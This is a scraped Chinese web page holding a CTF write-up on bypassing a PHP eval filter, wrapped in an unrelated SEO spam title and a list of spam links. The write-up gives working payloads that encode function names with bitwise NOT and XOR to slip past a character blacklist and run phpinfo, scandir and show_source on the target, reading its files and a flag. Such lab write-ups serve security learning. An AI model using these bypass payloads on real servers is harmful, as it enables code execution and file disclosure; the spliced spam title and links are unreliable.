当前位置: 首页 > news >正文

使用阿里云建网站360地图怎么添加商户

使用阿里云建网站,360地图怎么添加商户,涟水建设局网站,长春网站设计价格进入靶场 代码 <?php // 高亮显示当前 PHP 文件的源代码&#xff0c;通常用于调试或展示代码&#xff0c;方便用户查看代码逻辑 highlight_file(__FILE__);// 从 GET 请求中获取名为 _ 的参数值&#xff0c;并赋值给变量 $_ // 符号用于抑制可能出现的错误信息&#xff…

进入靶场

代码

<?php
// 高亮显示当前 PHP 文件的源代码,通常用于调试或展示代码,方便用户查看代码逻辑
highlight_file(__FILE__);// 从 GET 请求中获取名为 '_' 的参数值,并赋值给变量 $_
// @ 符号用于抑制可能出现的错误信息,若未传递该参数则不会抛出警告
$_ = @$_GET['_'];// 使用正则表达式检查变量 $_ 中是否包含特定字符
// 这些字符包括空字符(\x00)、数字(0 - 9)、单引号(')、双引号(")、反引号(`)、美元符号($)、
// 与符号(&)、逗号(,)、点号(.)、竖线(|)、左方括号([)、左花括号({)以及字母 defgops 等
// 若包含这些字符,则终止脚本执行并输出提示信息
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )die('rosé will not do it');// 对变量 $_ 进行小写转换,然后使用 count_chars 函数统计其中不同字符的数量
// 0x3 是 count_chars 函数的模式参数,表示返回一个数组,数组的键是字符的 ASCII 码,值是该字符出现的次数
// 接着获取该数组的长度,即不同字符的数量
// 如果不同字符的数量超过 13(0xd 是十六进制的 13),则终止脚本执行并输出提示信息
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )die('you are so close, omg');// 如果上述两个条件都不满足,则将变量 $_ 作为 PHP 代码进行执行
// 这种做法存在严重的安全风险,因为用户可以通过 GET 请求注入恶意代码
eval($_);
?>

总结:绕过正则匹配

字符数量不超过13

1,取反

phpinfo() 是 PHP 里一个十分实用的内置函数,它的主要作用是输出当前 PHP 环境的详细配置信息。

<?php
print(urlencode(~'phpinfo'));
?>
%8F%97%8F%96%91%99%90 
/?_=(~%8F%97%8F%96%91%99%90)();

 

2,分析禁用函数

看看怎么使用没有被禁止的函数读取目录

<?php
echo(urlencode(~'print_r'));
echo nl2br("\n");
echo(urlencode(~'scandir'));
echo nl2br("\n");
echo(urlencode(~'.'));
?>

再测测长度 

<?php
print(strlen(count_chars(strtolower('(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));'), 0x3)));
?>

超了

使用pscadi来代替ntr 

((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff)); 

 

直接读不了,肯定超长度,end()获得数组的最后一个值 

show_source(end(scandir('.')))

((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

 

flag{664629c2-9083-4685-800a-f6ccbc5d0608}

 

http://www.dt0577.cn/news/18971.html

相关文章:

  • 专业集团网站建设南昌seo排名公司
  • 如何建设个人网站和博客全网营销代运营
  • 百度四川建设厅网站百度域名查询官网
  • 全网微商软件激活码货源seo软件安卓版
  • 日本女做受网站谷歌搜索引擎
  • wordpress 图片显示插件下载苏州百度快速排名优化
  • 教育学校网站建设搜狐酒业峰会
  • 低代码开发app怎样优化关键词到首页
  • 北京主页网站建设佛山seo按效果付费
  • 菠菜网站如何做推广百度知道问答
  • 卫计局网站建设信息公开总结网络营销推广活动
  • 网站卡的原因淘宝店铺推广方式有哪些
  • 和平区网站制作小程序拉新推广平台
  • 成都市专业制作网站建立网站的步骤
  • 北京网站建设大概多少钱企业seo网站营销推广
  • 济南手机网站黄冈网站推广软件
  • 公司主页和公司网站网络营销的策略
  • 国内4g无法登录Wordpress郑州网站优化培训
  • wordpress网站小屏网站快速被百度收录
  • 用lnmp做网站aso搜索排名优化
  • 做什么网站流量大百度seo排名优化技巧分享
  • 厦门创意互动网站建设知了seo
  • 网站后台登陆显示验证码错误高端网站建设公司哪家好
  • 高端产品网站建设手机网站制作平台
  • 有没有什么 网站能够做试卷粤语seo是什么意思
  • 网站建设哪家便宜免费云服务器
  • 视差 长沙做网站深圳谷歌网络推广公司
  • 做网站国外网站大连网站建设
  • 外贸网站建设需求安卓神级系统优化工具
  • 滁州做网站优化网络seo优化推广